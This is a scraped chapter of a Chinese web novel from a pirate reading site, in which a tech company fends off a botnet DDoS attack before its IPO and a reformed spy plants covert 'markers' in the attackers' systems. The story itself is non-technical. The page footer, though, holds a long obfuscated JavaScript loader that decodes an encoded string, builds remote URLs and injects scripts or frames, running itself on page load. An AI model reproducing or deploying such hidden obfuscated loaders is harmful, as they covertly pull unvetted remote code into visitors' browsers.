首页
[切换至繁体版]
返回

第275章镜照未来(上)

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第275章镜照未来(上)(第1/2页)
    距离龙胆科技上市敲钟还有七十二小时。
    纽约曼哈顿的晨光透过威斯汀酒店高层套房的落地窗,在龙胆草疲惫的侧脸上投下斑驳光影。笔记本电脑屏幕上跳动着纳斯达克的实时数据,另一侧则是荆棘科技及其背后资本联盟的持股变动图。
    “他们还在增持。”曹辛夷端着两杯浓缩咖啡走进来,将其中一杯放在龙胆草手边,“昨晚又收购了0.8%的流通股,总持股已达14.2%。”
    龙胆草揉了揉眉心,接过咖啡一饮而尽:“距离触发毒丸计划还有0.8个百分点。”
    “时间足够。”曹辛夷在他对面坐下,平板电脑上显示着九里香刚刚发来的员工持股统计,“内部员工持股池已经加固到8.7%,加上我们和早期投资人的一致行动协议,实际控制权在43%左右。”
    “关键是那三家机构投资者。”龙胆草调出三个档案,“黑岩资本、先锋集团、道富环球,合计持股12.3%。他们如果倒向荆棘那边……”
    “不会。”曹辛夷语气笃定,“昨天我和黑岩的玛丽安通了两个小时的视频电话。她明确表示,看重的是龙胆科技的长期价值,不是短期套利。”
    龙胆草抬头看她:“你用的是什么筹码?”
    “不是筹码,是愿景。”曹辛夷调出一份PPT,“我把‘五彩绫镜’未来三年的技术路线图,以及我们与欧洲数据保护委员会的谈判进展都给她看了。更重要的是——”她顿了顿,“我告诉她,如果这次恶意收购成功,姚浮萍团队会集体离职。”
    龙胆草瞳孔微缩:“你……”
    “我事先和姚浮萍谈过。”曹辛夷平静地说,“她说,‘如果公司不再是我们理念的载体,留下来又有什么意义?’”
    房间里陷入短暂的沉默。窗外,纽约的晨光渐盛,这座资本之城正从沉睡中苏醒。
    “林晚那边呢?”龙胆草问。
    “她在数据中心。”曹辛夷调出监控画面,“和姚厚朴一起做最后一次安全巡检。自从上周那场攻防演练后,她已经在机房睡了四个晚上。”
    画面上,林晚正站在服务器阵列前,头发随意扎成马尾,眼底有明显的黑眼圈,但神情专注。姚厚朴站在她身边,两人正对着屏幕讨论着什么。
    “她拒绝了来纽约的邀请。”曹辛夷轻声说,“她说,她的战场在数据防线,不在敲钟现场。”
    龙胆草凝视着监控画面里那个瘦削却挺拔的背影,良久,才收回目光。
    “她是对的。”
    ---
    同一时间,龙胆科技深圳总部数据中心。
    “第三十七号节点异常。”林晚盯着监控屏幕,手指在键盘上快速敲击,“流量突增,疑似DDoS攻击的前奏。”
    姚厚朴立刻接入相邻终端:“启用冗余带宽,启动清洗中心。通知网络安全组,进入三级警戒。”
    指令通过内部通讯系统迅速下达。巨大的数据监控墙上,代表攻击流量的红色之区域开始被绿色覆盖,那是自动防护系统正在工作。
    “攻击源定位。”林晚调出追踪程序,“香港、新加坡、法兰克福……多点同时发起,是典型的僵尸网络攻击。”
    “想在我们上市前夕制造系统瘫痪的新闻。”姚厚朴冷笑,“老套路了。”
    “但规模比预想的大。”林晚神色凝重,“他们动用了至少三个僵尸网络,预估峰值流量会达到800Gbps。我们的清洗中心最大承载是1T,但如果在上市当天遭遇这种规模的攻击,再加上其他配合手段……”
    “那就让他们见识见识‘五彩绫镜’的另一个功能。”姚厚朴眼中闪过自信的光芒,“还记得我们预留的‘镜像反制’模块吗?”
    林晚愣住:“那个功能还没通过伦理委员会审批……”
    “我昨晚拿到了紧急授权。”姚厚朴调出一份电子文件,上面有龙胆草、姚浮萍和三位独立董事的签名,“非常时期,非常手段。不主动攻击,但可以给攻击者‘打个标记’。”
    所谓的“镜像反制”,是“五彩绫镜”项目中的一个特殊模块,它不直接反击攻击源,而是通过技术手段,在攻击者的系统中留下一个隐蔽的“标记”。这个标记不会破坏对方系统,但会像一面镜子,将攻击行为的部分特征反射回去,让攻击者自己的监控系统收到混乱信息。
    “这是游走在法律边缘的技术。”林晚低声说。
    “所以我们只对确认的恶意攻击使用,且只持续72小时,上市成功后自动清除所有标记。”姚厚朴看着她,“林晚,这次我需要你和我一起执行。你对荆棘科技的技术栈最熟悉,我们需要你来判断哪些标记方式最有效且最不容易被发现。”
    林晚看着屏幕上不断跳动的攻击数据,那些红色的曲线如同毒蛇,正试图扼住龙胆科技的咽喉。她想起三年前自己作为间谍潜入这里时,也曾参与过类似的技术攻击——只不过当时她是攻击方。
    “给我十分钟调整参数。”她说。
    “五分钟。”姚厚朴看着倒计时,“攻击流量在六分钟后达到峰值,我们要在那之前完成标记部署。”
    林晚不再说话,双手在键盘上飞舞。代码如流水般倾泻,她的大脑高速运转,三年来对龙胆科技安全系统的深入了解,加上曾经在荆棘科技接受的技术训练,在此刻融合成一种独特的洞察力。
    她知道荆棘科技习惯在哪里留后门,知道他们的监控系统有哪些盲区,知道他们的技术团队在应对异常时通常的排查顺序。
    “标记方案设计完成。”四分三十秒后,林晚抬起头,“采用三层嵌套标记:第一层模仿正常的系统日志错误,第二层伪装成跨域请求的缓存残留,第三层……”她停顿了一下,“第三层使用他们自己开发的漏洞扫描工具的特征码。”
    姚厚朴眼睛一亮:“让他们自己的安全工具报警?”
    “对。”林晚调出一个代码片段,“这是荆棘科技内部安全团队去年开发的扫描工具,但他们在三个关键的正则表达式上犯了错误,会导致误报。我们利用这个漏洞,让他们自己的系统‘看到’攻击来自他们自己的服务器。”
    “以其人之道还治其人之身。”姚厚朴赞许地点头,“开始部署。”
    两人同时按下确认键。数据中心里,成千上万的服务器指示灯规律闪烁,无形的数据洪流中,悄然混入了一些特殊的“信号”。
    监控大屏上,攻击流量在达到750Gbps的峰值后,开始诡异地下跌。不是被完全阻截,而是仿佛失去了方向,开始自我消耗。
    “标记生效了。”林晚盯着追踪地图,“香港节点的攻击流量有17%转向了新加坡节点,新加坡节点的攻击有12%在内部循环……他们自己的防护系统开始起作用了。”
    姚厚朴接通了与姚浮萍的视频通话。屏幕那端,姚浮萍正在纽约的酒店房间里,面前同样是多块监控屏幕。
    “哥,攻击开始瓦解。”姚厚朴报告。
    “看到了。”姚浮萍脸上难得露出一丝笑容,“流量曲线很漂亮。林晚,标记设计的很精妙。”
    这是姚浮萍第一次直接称赞林晚的技术工作。林晚怔了怔,才低声说:“只是利用了他们的技术缺陷。”
    “能发现并利用对手的缺陷,本身就是一种能力。”姚浮萍顿了顿,语气缓和下来,“数据中心那边就拜托你们了。上市前这72小时,一分钟都不能松懈。”
    “明白。”
    通话结束。数据中心恢复了只有机器运转声的寂静。姚厚朴去检查其他系统,林晚独自站在监控墙前,看着那些逐渐褪去的红色之区域。
    她的手机震动了一下,是一条来自未知号码的信息:
    “最后一次机会。加入我们,上市后给你首席安全官的职位和5%的期权。否则,明天会有更精彩的内容公布。”
    林晚盯着那条信息,手指在屏幕上悬停了几秒,然后截屏,转发给九里香和龙胆草,附带一句话:
    “他们急了。”
    几乎是立刻,龙胆草的电话打了过来。
    “安全吗?”他的声音里有掩饰不住的疲惫。
    “在数据中心,很安全。”林晚说,“你那边呢?”
    “曹辛夷刚说服了道富环球,承诺上市后增持。”龙胆草呼出一口气,“现在机构投资者这边基本稳住了。但荆棘那边似乎准备了媒体攻势。”
    “关于我的过去?”林晚平静地问。
    电话那头沉默了两秒:“不仅仅是你的过去。他们可能还挖到了……我父亲早年的一些商业纠纷。”
    林晚知道龙胆草的父亲——那位白手起家的老一代企业家——在创业初期确实使用过一些游走在灰色地带的手段。虽然早已洗手上岸,但若在上市前夕被翻出来,对龙胆科技的声誉将是沉重打击。
    “需要我做什么?”她问。
    “你什么都不用做。”龙胆草的声音坚定起来,“九里香的公关团队已经准备好了应对方案。林晚,我要你记住:无论明天发生什么,无论媒体怎么写,你都是龙胆科技的数据安全顾问,是我们团队的一员。这一点永远不会改变。”
    林晚感到喉咙有些发紧。她看向监控墙,上面代表公司全球业务的数据流如同银河,每一个光点都是一次用户请求,一次数据交换,一次信任的托付。
    三年前她潜入这里时,看到的只是一串串待窃取的数据,一个个待攻破的系统。而现在,她看到的是数百万用户的隐私托付,是同事们日夜奋战的技术成果,是一个可能改变行业规则的梦想。
    “龙胆草。”她第一次在私人通话中直呼他的名字,“你还记得三年前,我在发布会上反戈一击后,你对我说的话吗?”
    电话那头安静了片刻。
    “我说:‘从今天起,你的过去归过去,你的未来你自己写。’”
    “是的。”林晚轻声说,“这三年,我一直在写。而现在,我想为这个未来再加一笔——无论明天发生什么,我会站在这里,守住这条数据防线。这是我的选择,也是我的救赎。”
    电话里传来长久的沉默,只有轻微的呼吸声。
    “谢谢。”龙胆草最终只说出了这两个字,但其中的重量,两个人都懂。
    挂断电话后,林晚重新坐回控制台前。监控屏幕上,攻击流量已降至安全阈值以下,标记程序运行正常,系统各项指标平稳。
    她打开一个加密文档,开始撰写今天的系统安全日志。这是她三年来养成的习惯——无论多忙,每天结束时都要记录下当天的安全状况、发现的异常、采取的措施。
    日志写到一半时,数据中心的门禁系统发出提示音。林晚抬头,看见曹辛夷站在玻璃门外,手里提着两个纸袋。
    姚厚朴过去刷卡开门:“曹总?你不是在纽约吗?”
    “最后一班红眼航班赶回来的。”曹辛夷走进来,将纸袋放在桌上,“给你们带了早餐。纽约酒店的自助餐,我打包了些能带回来的。”
    她打开纸袋,里面有还温热的牛角包、水果沙拉,和两杯封装好的咖啡。
    “龙胆草呢?”姚厚朴问。
    “在纽约盯着最后的谈判。”曹辛夷看向林晚,“他让我回来,说这边更需要人坐镇。”
    林晚接过咖啡,注意到曹辛夷眼底也有淡淡的阴影:“你一晚没睡?”
    “在飞机上睡了两个小时。”曹辛夷在她身边坐下,也看向监控墙,“情况如何?”
    林晚简要汇报了凌晨的攻击和反制情况。曹辛夷认真听着,时不时提出问题,都是切中要害的技术细节——这三年来,这位曾经只关注前台接待和行政管理的姑娘,已经自学成了半个安全专家。
    “所以,最危险的一波攻击已经过去了?”曹辛夷听完后问。
    “最危险的技术攻击过去了。”林晚纠正道,“但舆论攻击可能刚刚开始。”
    曹辛夷点头:“九里香的团队监测到,从凌晨三点开始,国内外十七个财经科技类媒体,同时收到了匿名爆料的邮件。内容涉及你、龙胆草的父亲、甚至还有姚浮萍早年参与的开源项目版权争议。”
    姚厚朴皱眉:“我姐的项目都是完全合规的……”
    “但开源项目的版权界定本来就模糊。”曹辛夷冷静地说,“对方不需要实锤,只需要制造疑问,在上市前夕引发投资者的疑虑就够了。”
    “那我们……”姚厚朴刚开口,就被曹辛夷抬手制止。
    “九里香已经启动应对预案。”她说,“但我们不能只是被动防守。林晚,我需要你帮我一个忙。”
    “什么?”
    曹辛夷调出平板电脑上的一个界面:“这是荆棘科技过去三年涉及数据泄露的公开记录,我收集了二十七起,但都是零散的行业新闻。我需要有人能从技术角度,把这些事件串联起来,形成一个完整的分析报告——证明他们在数据安全问
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();